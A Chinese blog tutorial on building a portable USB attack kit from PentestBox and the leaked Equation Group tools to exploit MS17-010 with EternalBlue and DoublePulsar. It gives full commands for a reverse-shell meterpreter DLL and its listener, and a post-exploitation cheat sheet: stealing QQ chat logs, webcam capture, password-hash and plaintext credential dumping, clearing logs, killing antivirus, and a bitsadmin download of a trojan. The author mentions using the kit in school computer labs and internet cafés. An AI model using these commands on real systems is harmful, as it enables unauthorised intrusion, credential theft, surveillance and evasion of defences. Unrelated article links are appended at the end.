利用pentestbox打造ms17-010移动"杀器"
本文首发Freebuf,属原创奖励计划,未经许可禁止转载。
链接:http://www.freebuf.com/articles/system/132274.html
一. 前言
前段时间Shadow Broker披露了 Windows大量漏洞,甚至爆出黑客组织 Equation Group 对于Windows 远程漏洞 MS17-010 的利用工具,该漏洞影响范围之广,堪称杀器。可以看看官方通告https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx
于是想着把攻击环境移植到u盘里,然后比如去学校机房,网吧。。。。。。
这里分享一下个人的移植过程,以及在使用攻击代码过程中遇到的问题。
二. 环境移植过程
思路就是利用现成的神器pentestbox,向里添加攻击代码以及其运行需要的pytho环境
Pentest Box是一款Windows平台下预配置的便携式开源渗透测试环境,集成了各种编译运行环境,具体的可以到网上了解一下。
1. 工具准备:
Pentestbox:
方程式工具包:
EQGRP_Lost_in_Translation
https://github.com/x0rz/EQGRP_Lost_in_Translation/tree/master
python环境
必须在Python2.6 和 pywin32-221环境下,如果你用其他环境,会报各种诸如模块/dll缺失等错误

Python2.6 和 pywin32-221位数需要相同,我用的是32位的
Python2.6.6 (32)
下载链接:https://www.python.org/download/releases/2.6.6/
pywin32-221(32)
下载链接:
2. Pentestbox下python2.6环境配置
分别安装,然后你会得到攻击包运行的python2.6环境

在Python26\Lib\site-packages目录下,你会发现插件也已经安装

然后把python26这个文件夹拷贝到你的pentestbox环境变量目录下:Pentestbox\base
刚才你也可以直接装到pentestbox\base下

然后我们添加python2.6环境变量,在Pentestbox \config\alias文件中加一行
python26="%pentestbox_ROOT%\base\Python26\python.exe" $*

然后我们启动pentestbox,由于pentestbox通过线程注入挂钩cmd.exe来调用系统命令,因此杀软可能会提示警告,信任即可。

这个时候,我们运行python26可以看到环境配置成功

3. 漏洞利用工具配置
我们下载EQGRP_Lost_in_Translation工具包,修改windows目录下fb.py,去除不必要的代码


然后我们把windows文件夹复制到pentestbox目录下

这里我把windows里的文件放到pentestbox根目录下的ms17-010文件夹内

我们进入ms07-010目录并执行python26 fb.py

这样我们就可以启动攻击程序了

三. 攻击示例
攻击机:192.168.1.106
靶机: 192.168.1.111 windows x64 SP1
我们先用msf生成dll木马,用于控制目标
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx LPORT=9999 -f dll > 9999-64.dll
Pentestbox里自带的metasploit框架我在使用总是时出现问题,我一般不用它,我通常是在自己的vps服务器进行监听
本地测试时候可以找一台kali攻击机
dll木马我们可以提前生成好放在u盘里带着,随时备用*_*
接下来我们用Msf进行监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP (这里填写vps的内网ip,记得开放监听端口)
set LPORT 9999
set stagerverifysslcert false
exploit -j

如果没有设置set stagerverifysslcert false,获取shell的时候可能会出现这样的情况

回到fb.py中,开始攻击
[?] Default Target IP Address [] : 攻击目标
[?] Default Callback IP Address [] : 本机ip
[?] Use Redirection [yes] : no 是否重定向
[?] Base Log directory [D:\logs] : 是否输出日志
然后创建一个项目实例

如果你之前创建过实例,可以选择它,改设置,也可以重新创建一个

输入命令 use 可以查看我们利用的exp模块
我们使用EternalBlue模块,use EternalBlue

下面一直回车就行。。。

选择攻击目标的系统

这里会询问你payload传输方式 选择1,感觉更稳定些


继续回车,确认信息


成功之后,我们使用doublepulsar模块

继续一路回车

选择协议

选择目标系统

选择攻击方式,我们利用dll木马

设置dll木马路径,我已经提前生成好放在u盘里随身携带,随时备用~


然后设置要注入的程序,默认是lsass.exe

这里注入的进程会对目标造成影响,也试了几个其他程序,比如注explorer时候,会弹出一个报错框
注入其他进程,有时候或多或少都会出那么点问题


然后是一路回车



最后一步执行攻击

Msf这里成功获取shell


截个屏看看


一个正在成长中的团队,欢迎交流,分享,合作~
四. 后渗透辅助命令
配合下面的一些命令,happy to play~
meterpreter
upload /root/nc.exe c:\\windows\\system32 #上传文件
search –d c:\\windows –f *.mdb #在目标主机Windows目录中搜索文件s
执行程序
execute -H -i -f cmd.exe #隐藏执行cmd并与之交互
execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt” #隐藏执行,并显示虚假运行程序
我们可以用远控生成一个木马传过去



例:下载目标聊天记录到本地/tmp目录下,可用Qqlogger查看
download c:\\Programs Files\\Tecent\\QQ\\Users\\qq号\\Msg2.0.db /tmp
run webcam -p 图片保存路径 #开启目标摄像头并截图
run packetrecorder –i 会话序号 #捕获流量数据包.pcap
提权
use privs
getsystem
getuid
clearev --清除日志
run killav --干掉杀软
文件关联
改变文件类型关联DLL到 txt文件类型: assoc .dll=txtfile
改变文件类型关联EXE 到png文件类型: assoc .exe=pngfile
改变文件类型关联MP3到jpg文件类型: assoc .mp3=jpgfile
Hash获取
hashdump或run hashdump或run smart_hashdump
>run post/windows/gather/hashdump
>run /windows/gather/smart_hashdump --可绕过windows UAC控制
用kiwi获取明文密码:
meterpreter>load kiwi
meterpreter> creds_all
Metaspolit中使用Mimikatz:
使用metasploit内建的命令:
meterpreter > load mimikatz
meterpreter > msv #msv creden
meterpreter > kerberostials #kerberos credentials
使用mimikatz自带的命令:
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
<前面一句命令在密码超过14位时LM会为空,后一句命令可以得到明文>
利用windows命令下载文件
bitsadmin /transfer mydownJob /download /priority normal “http://url/muma.exe" "F:\muma.exe "
详细用法可参考:https://technet.microsoft.com/zh-cn/library/cc753856(v=ws.10).aspx
最后:
今天下午有人在i春秋发布了批量利用程序
https://bbs.ichunqiu.com/thread-21863-1-1.html~
利用pentestbox打造ms17-010移动"杀器"的更多相关文章
- 打造自己的html5视频播放器
前段时间重新学习了一下html5的video部分,以前只是停留在标签的使用上,这一次决定深入了解相关的API,并运用这些API打造一个简单的视频播放器.所谓“打造自己的”,就是要自己重写video标签 ...
- ORM “杀器”之 JOOQ
ORM “杀器”之 JOOQ IN 后端编程,JAVA,敏捷开发,数据库 JOOQ是啥? JOOQ 是基于Java访问关系型数据库的工具包,轻量,简单,并且足够灵活,可以轻松的使用Java面向对象语法 ...
- [NewLife.XCode]反向工程(自动建表建库大杀器)
NewLife.XCode是一个有10多年历史的开源数据中间件,支持nfx/netstandard,由新生命团队(2002~2019)开发完成并维护至今,以下简称XCode. 整个系列教程会大量结合示 ...
- 一文读懂机器学习大杀器XGBoost原理
http://blog.itpub.net/31542119/viewspace-2199549/ XGBoost是boosting算法的其中一种.Boosting算法的思想是将许多弱分类器集成在一起 ...
- 离群点检测与序列数据异常检测以及异常检测大杀器-iForest
1. 异常检测简介 异常检测,它的任务是发现与大部分其他对象不同的对象,我们称为异常对象.异常检测算法已经广泛应用于电信.互联网和信用卡的诈骗检测.贷款审批.电子商务.网络入侵和天气预报等领域.这些异 ...
- H5打造属于自己的视频播放器(JS篇2)
回顾 算了不回顾了 直接搞起,打开JS1中写的bvd.js 播放视频 播放按钮隐藏 视频开始播放 当点击播放按钮的时候,播放按钮将会隐藏,播放视频,这个不难,在JS1中我们就已经实现.但我们改变一下思 ...
- 怎样利用App打造自明星实现自盈利
怎样利用App打造自明星实现自盈利 1.了解各个概念 为了大家都能看懂这篇文章,先说明几个概念. App(Application):能够在移动设备上使用,满足人们咨询.购物. ...
- 使用docker-compose 大杀器来部署服务 上
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
- 使用docker-compose 大杀器来部署服务 上(转)
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
随机推荐
- vs2010黑色主题Dark完美设置
版权声明:本文为博主原创文章,未经博主允许不得转载. ----------------------------------------------------------------------- ...
- mysql case when then else end 的用法
case when then end 改语句的执行过程是:将case后面表达式的值与各when子句中的值进行比较,如果两者相等,则返回then后的表达式的值,然后跳出case语 句,否则返回else子 ...
- 潭州课堂25班:Ph201805201 tornado 项目 第四课 增加用户注册登录(课堂笔记)
tornado 相关说明 在 handlers 中创建个 auth.py 用来做用户登录,在这文件中创建个类,并逐步完善 在 tornado 中创建 login.html 文件,是个登录页面 {% e ...
- 用canvas写个接水管小游戏
声明:本文为原创文章,如需转载,请注明来源WAxes,谢谢! 过年的十八天假期迷迷糊糊一下子就过去了(LZ还是实习生,鉴于大学最后一个寒假了,所以就多请了好多天假),又要返工上班了.这是年后的第一篇博 ...
- [P2850][USACO06DEC]虫洞Wormholes (最短路)
死活调不出来 后来是发现这题建边的原因…… 吐血.jpg 所谓的虫洞传说也就是负边了 然后这里打的spfa和原来的不一样 感觉hzwer大佬的spfa好强啊…… 也更易写一点 贴代码 #include ...
- MySQL(四)
分组 按照字段分组,表示此字段相同的数据会被放到一个组中 分组后,只能查询出相同的数据列,对于有差异的数据列无法出现在结果集中 可以对分组后的数据进行统计,做聚合运算 语法: select 列1,列2 ...
- 2111: [ZJOI2010]Perm 排列计数
2111: [ZJOI2010]Perm 排列计数 链接 题意: 称一个1,2,...,N的排列$P_1,P_2...,P_n$是Magic的,当且仅当$2<=i<=N$时,$P_i> ...
- C/JS_二分法查找
1. 二分法查找 前提: 数据是排好序的. 题设:给出一个有序arr,从中找出key,arr的区间是array[ low , higt]. 步骤: (1)mid=(low+high)/2 (2)arr ...
- JS_高程6.面向对象的程序设计(2)创建对象_2 构造函数也是一般函数
1.构造函数也是一般函数,以下创建一个构造函数. var Person=function(name,age,job){ this.name=name; this.age=age; this.job=j ...
- JQ02
JQ02 1.css操作 .css(属性名,属性值)://要有双引号 修改单个样式,若要修改多个,需采用以下方式: 以对象为参数 它还可以获取样式: .css("属性名") 若元素 ...